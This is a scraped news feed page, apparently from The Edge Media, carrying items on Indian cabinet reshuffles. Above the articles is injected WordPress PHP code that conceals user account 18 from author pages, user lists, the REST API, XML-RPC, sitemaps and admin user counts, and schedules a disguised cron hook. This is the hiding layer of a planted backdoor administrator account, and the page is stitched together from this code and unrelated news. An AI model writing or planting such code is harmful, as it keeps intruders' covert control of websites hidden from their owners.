add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Jitin Prasada on the UP Cabinet Job: “It’s Not About Promotion Or Demotion” appeared first on The Edge Media.
]]>
Jitin Prasada, who defected from the Congress to the BJP earlier this year, was one of seven new ministers appointed by Yogi Adityanath’s ministry in Uttar Pradesh just four months before the state election.
Jitin Prasada, the only one of the seven to be appointed to the cabinet, denied that serving in the Uttar Pradesh ministry was a setback for him. The 47-year-old was a member of the Congress-led administration as a Union Minister. Earlier morning, the Chief Minister met with all of the new ministers. They have yet to be assigned ministries and only have three months until the code of conduct takes effect, so there will be no further announcements.
The post Jitin Prasada on the UP Cabinet Job: “It’s Not About Promotion Or Demotion” appeared first on The Edge Media.
]]>The post Several Ministers resigned ahead of reshuffle of Cabinet appeared first on The Edge Media.
]]>Several new ministers are likely to be included in the PM’s council of ministers. Ahead of the reshuffle, several ministers, including Union health minister Harsh Vardhan and education minister Ramesh Pokhriyal, resigned from the Cabinet.
On Tuesday, social justice and empowerment minister Thaawarchand Gehlot had also vacated his ministry as he was appointed as the governor of Karnataka.
The new list that has come to the fore seems to have been guided by several factors, including the upcoming assembly elections in five states in 2022.
PM Modi had conducted an extensive review of the performance of several ministers in the run up to this exercise. So, while some ministers have been dropped, some others may be promoted.
Also, reports suggest that Modi’s new Cabinet will have a higher share of OBC representations, younger leaders and women ministers.
The post Several Ministers resigned ahead of reshuffle of Cabinet appeared first on The Edge Media.
]]>The post Home Minister Shah to visit Karnataka for a two-day visit, angry MLAs will celebrate cabinet expansion appeared first on The Edge Media.
]]>The Karnataka government expanded the cabinet on Wednesday. The Karnataka cabinet had 27 ministers, including the chief minister. There were seven vacant seats in the cabinet, which have been filled. The new ministers include MTB Nagaraj, Umesh Katti, Arvind Limbavali, Murugesh Nirani, R Shankar, CP Yogishwar, Angara S. After the expansion of the cabinet in Karnataka, there is a fierce battle within the Bharatiya Janata Party (BJP). Many BJP leaders are angry with this cabinet expansion. Party MLA Basangowda Yatnal has made serious allegations against Chief Minister Yeddyurappa. He said that Yeddyurappa should retire from politics, whoever blackmails or gives money is made a minister, there is a quota for it.
The post Home Minister Shah to visit Karnataka for a two-day visit, angry MLAs will celebrate cabinet expansion appeared first on The Edge Media.
]]>